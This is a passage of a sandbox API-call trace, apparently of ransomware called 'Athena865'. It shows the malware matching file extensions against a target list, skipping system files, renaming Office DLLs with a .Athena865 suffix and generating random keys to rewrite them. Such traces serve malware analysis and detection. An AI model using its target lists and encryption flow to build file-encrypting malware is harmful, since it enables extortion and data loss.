(lpString1="DLL", lpString2="maq") returned -1 [0085.598] lstrlenW (lpString="mar") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0085.598] lstrlenW (lpString="marshal") returned 7 [0085.598] lstrcmpiW (lpString1="DER.DLL", lpString2="marshal") returned -1 [0085.598] lstrlenW (lpString="mas") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0085.598] lstrlenW (lpString="mav") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0085.598] lstrlenW (lpString="maw") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0085.598] lstrlenW (lpString="mdbhtml") returned 7 [0085.598] lstrcmpiW (lpString1="DER.DLL", lpString2="mdbhtml") returned -1 [0085.598] lstrlenW (lpString="mdn") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0085.598] lstrlenW (lpString="mdt") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0085.598] lstrlenW (lpString="mfd") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0085.598] lstrlenW (lpString="mpd") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0085.598] lstrlenW (lpString="mrg") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0085.598] lstrlenW (lpString="mud") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0085.598] lstrlenW (lpString="mwb") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0085.598] lstrlenW (lpString="myd") returned 3 [0085.598] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0085.599] lstrlenW (lpString="ndf") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0085.599] lstrlenW (lpString="nnt") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0085.599] lstrlenW (lpString="nrmlib") returned 6 [0085.599] lstrcmpiW (lpString1="ER.DLL", lpString2="nrmlib") returned -1 [0085.599] lstrlenW (lpString="ns2") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0085.599] lstrlenW (lpString="ns3") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0085.599] lstrlenW (lpString="ns4") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0085.599] lstrlenW (lpString="nsf") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0085.599] lstrlenW (lpString="nv") returned 2 [0085.599] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0085.599] lstrlenW (lpString="nv2") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0085.599] lstrlenW (lpString="nwdb") returned 4 [0085.599] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0085.599] lstrlenW (lpString="nyf") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0085.599] lstrlenW (lpString="odb") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.599] lstrlenW (lpString="odb") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.599] lstrlenW (lpString="oqy") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0085.599] lstrlenW (lpString="ora") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0085.599] lstrlenW (lpString="orx") returned 3 [0085.599] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0085.600] lstrlenW (lpString="owc") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0085.600] lstrlenW (lpString="p96") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0085.600] lstrlenW (lpString="p97") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0085.600] lstrlenW (lpString="pan") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0085.600] lstrlenW (lpString="pdb") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0085.600] lstrlenW (lpString="pdm") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0085.600] lstrlenW (lpString="pnz") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0085.600] lstrlenW (lpString="qry") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0085.600] lstrlenW (lpString="qvd") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0085.600] lstrlenW (lpString="rbf") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0085.600] lstrlenW (lpString="rctd") returned 4 [0085.600] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0085.600] lstrlenW (lpString="rod") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0085.600] lstrlenW (lpString="rodx") returned 4 [0085.600] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0085.600] lstrlenW (lpString="rpd") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0085.600] lstrlenW (lpString="rsd") returned 3 [0085.600] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0085.600] lstrlenW (lpString="sas7bdat") returned 8 [0085.600] lstrcmpiW (lpString1="IDER.DLL", lpString2="sas7bdat") returned -1 [0085.601] lstrlenW (lpString="sbf") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0085.601] lstrlenW (lpString="scx") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0085.601] lstrlenW (lpString="sdb") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0085.601] lstrlenW (lpString="sdc") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0085.601] lstrlenW (lpString="sdf") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0085.601] lstrlenW (lpString="sis") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0085.601] lstrlenW (lpString="spq") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0085.601] lstrlenW (lpString="te") returned 2 [0085.601] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0085.601] lstrlenW (lpString="teacher") returned 7 [0085.601] lstrcmpiW (lpString1="DER.DLL", lpString2="teacher") returned -1 [0085.601] lstrlenW (lpString="tmd") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0085.601] lstrlenW (lpString="tps") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0085.601] lstrlenW (lpString="trc") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.601] lstrlenW (lpString="trc") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.601] lstrlenW (lpString="trm") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0085.601] lstrlenW (lpString="udb") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0085.601] lstrlenW (lpString="udl") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0085.601] lstrlenW (lpString="usr") returned 3 [0085.601] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0085.602] lstrlenW (lpString="v12") returned 3 [0085.602] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0085.602] lstrlenW (lpString="vis") returned 3 [0085.602] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0085.602] lstrlenW (lpString="vpd") returned 3 [0085.602] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0085.602] lstrlenW (lpString="vvv") returned 3 [0085.602] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0085.602] lstrlenW (lpString="wdb") returned 3 [0085.602] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0085.602] lstrlenW (lpString="wmdb") returned 4 [0085.602] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0085.602] lstrlenW (lpString="wrk") returned 3 [0085.602] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0085.602] lstrlenW (lpString="xdb") returned 3 [0085.602] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0085.602] lstrlenW (lpString="xld") returned 3 [0085.602] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0085.602] lstrlenW (lpString="xmlff") returned 5 [0085.602] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0085.602] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALPROVIDER.DLL.Athena865") returned 71 [0085.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALPROVIDER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\socialprovider.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALPROVIDER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\socialprovider.dll.athena865"), dwFlags=0x1) returned 1 [0085.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALPROVIDER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\socialprovider.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.603] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36768) returned 1 [0085.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.604] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.605] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.605] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.605] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x92a0, lpName=0x0) returned 0x17c [0085.606] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x92a0) returned 0x100000 [0085.608] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.609] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.609] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.610] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0085.610] CloseHandle (hObject=0x17c) returned 1 [0085.610] CloseHandle (hObject=0x154) returned 1 [0085.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.611] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd675a520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x57f78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOLUTILS.DLL", cAlternateFileName="")) returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2=".") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="..") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="windows") returned -1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="bootmgr") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="temp") returned -1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="pagefile.sys") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="boot") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="ids.txt") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="ntuser.dat") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="perflogs") returned 1 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2="MSBuild") returned 1 [0085.611] lstrlenW (lpString="SOLUTILS.DLL") returned 12 [0085.611] lstrcpyW (in: lpString1=0x241e89e, lpString2="SOLUTILS.DLL" | out: lpString1="SOLUTILS.DLL") returned="SOLUTILS.DLL" [0085.611] lstrlenW (lpString="SOLUTILS.DLL") returned 12 [0085.611] lstrlenW (lpString="Athena865") returned 9 [0085.611] lstrcmpiW (lpString1="UTILS.DLL", lpString2="Athena865") returned 1 [0085.611] lstrlenW (lpString=".dll") returned 4 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2=".dll") returned 1 [0085.611] lstrlenW (lpString=".lnk") returned 4 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2=".lnk") returned 1 [0085.611] lstrlenW (lpString=".ini") returned 4 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2=".ini") returned 1 [0085.611] lstrlenW (lpString=".sys") returned 4 [0085.611] lstrcmpiW (lpString1="SOLUTILS.DLL", lpString2=".sys") returned 1 [0085.612] lstrlenW (lpString="SOLUTILS.DLL") returned 12 [0085.612] lstrlenW (lpString="bak") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0085.612] lstrlenW (lpString="ba_") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0085.612] lstrlenW (lpString="dbb") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0085.612] lstrlenW (lpString="vmdk") returned 4 [0085.612] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0085.612] lstrlenW (lpString="rar") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0085.612] lstrlenW (lpString="zip") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0085.612] lstrlenW (lpString="tgz") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0085.612] lstrlenW (lpString="vbox") returned 4 [0085.612] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0085.612] lstrlenW (lpString="vdi") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0085.612] lstrlenW (lpString="vhd") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0085.612] lstrlenW (lpString="vhdx") returned 4 [0085.612] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0085.612] lstrlenW (lpString="avhd") returned 4 [0085.612] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0085.612] lstrlenW (lpString="db") returned 2 [0085.612] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0085.612] lstrlenW (lpString="db2") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0085.612] lstrlenW (lpString="db3") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0085.612] lstrlenW (lpString="dbf") returned 3 [0085.612] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0085.613] lstrlenW (lpString="mdf") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0085.613] lstrlenW (lpString="mdb") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0085.613] lstrlenW (lpString="sql") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0085.613] lstrlenW (lpString="sqlite") returned 6 [0085.613] lstrcmpiW (lpString1="LS.DLL", lpString2="sqlite") returned -1 [0085.613] lstrlenW (lpString="sqlite3") returned 7 [0085.613] lstrcmpiW (lpString1="ILS.DLL", lpString2="sqlite3") returned -1 [0085.613] lstrlenW (lpString="sqlitedb") returned 8 [0085.613] lstrcmpiW (lpString1="TILS.DLL", lpString2="sqlitedb") returned 1 [0085.613] lstrlenW (lpString="xml") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0085.613] lstrlenW (lpString="$er") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0085.613] lstrlenW (lpString="4dd") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0085.613] lstrlenW (lpString="4dl") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0085.613] lstrlenW (lpString="^^^") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0085.613] lstrlenW (lpString="abs") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0085.613] lstrlenW (lpString="abx") returned 3 [0085.613] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0085.613] lstrlenW (lpString="accdb") returned 5 [0085.613] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0085.613] lstrlenW (lpString="accdc") returned 5 [0085.613] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0085.613] lstrlenW (lpString="accde") returned 5 [0085.613] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0085.614] lstrlenW (lpString="accdr") returned 5 [0085.614] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0085.614] lstrlenW (lpString="accdt") returned 5 [0085.614] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0085.614] lstrlenW (lpString="accdw") returned 5 [0085.614] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0085.614] lstrlenW (lpString="accft") returned 5 [0085.614] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0085.614] lstrlenW (lpString="adb") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.614] lstrlenW (lpString="adb") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.614] lstrlenW (lpString="ade") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0085.614] lstrlenW (lpString="adf") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0085.614] lstrlenW (lpString="adn") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0085.614] lstrlenW (lpString="adp") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0085.614] lstrlenW (lpString="alf") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0085.614] lstrlenW (lpString="ask") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0085.614] lstrlenW (lpString="btr") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0085.614] lstrlenW (lpString="cat") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0085.614] lstrlenW (lpString="cdb") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0085.614] lstrlenW (lpString="ckp") returned 3 [0085.614] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0085.615] lstrlenW (lpString="cma") returned 3 [0085.615] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0085.615] lstrlenW (lpString="cpd") returned 3 [0085.615] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0085.615] lstrlenW (lpString="dacpac") returned 6 [0085.615] lstrcmpiW (lpString1="LS.DLL", lpString2="dacpac") returned 1 [0085.615] lstrlenW (lpString="dad") returned 3 [0085.615] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0085.615] lstrlenW (lpString="dadiagrams") returned 10 [0085.615] lstrcmpiW (lpString1="LUTILS.DLL", lpString2="dadiagrams") returned 1 [0085.615] lstrlenW (lpString="daschema") returned 8 [0085.615] lstrcmpiW (lpString1="TILS.DLL", lpString2="daschema") returned 1 [0085.615] lstrlenW (lpString="db-journal") returned 10 [0085.615] lstrcmpiW (lpString1="LUTILS.DLL", lpString2="db-journal") returned 1 [0085.615] lstrlenW (lpString="db-shm") returned 6 [0085.615] lstrcmpiW (lpString1="LS.DLL", lpString2="db-shm") returned 1 [0085.615] lstrlenW (lpString="db-wal") returned 6 [0085.615] lstrcmpiW (lpString1="LS.DLL", lpString2="db-wal") returned 1 [0085.615] lstrlenW (lpString="dbc") returned 3 [0085.615] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0085.615] lstrlenW (lpString="dbs") returned 3 [0085.615] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0085.615] lstrlenW (lpString="dbt") returned 3 [0085.615] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0085.615] lstrlenW (lpString="dbv") returned 3 [0085.615] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0085.615] lstrlenW (lpString="dbx") returned 3 [0085.615] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0085.615] lstrlenW (lpString="dcb") returned 3 [0085.615] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0085.616] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SOLUTILS.DLL.Athena865") returned 65 [0085.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOLUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\solutils.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOLUTILS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\solutils.dll.athena865"), dwFlags=0x1) returned 1 [0085.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOLUTILS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\solutils.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.620] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=360312) returned 1 [0085.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.620] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.621] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.621] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.621] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x58280, lpName=0x0) returned 0x17c [0085.623] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x58280) returned 0x2d50000 [0085.639] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.640] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.640] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.641] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0085.643] CloseHandle (hObject=0x17c) returned 1 [0085.643] CloseHandle (hObject=0x154) returned 1 [0085.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.645] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd11e7f00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd11e7f00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x597e9, 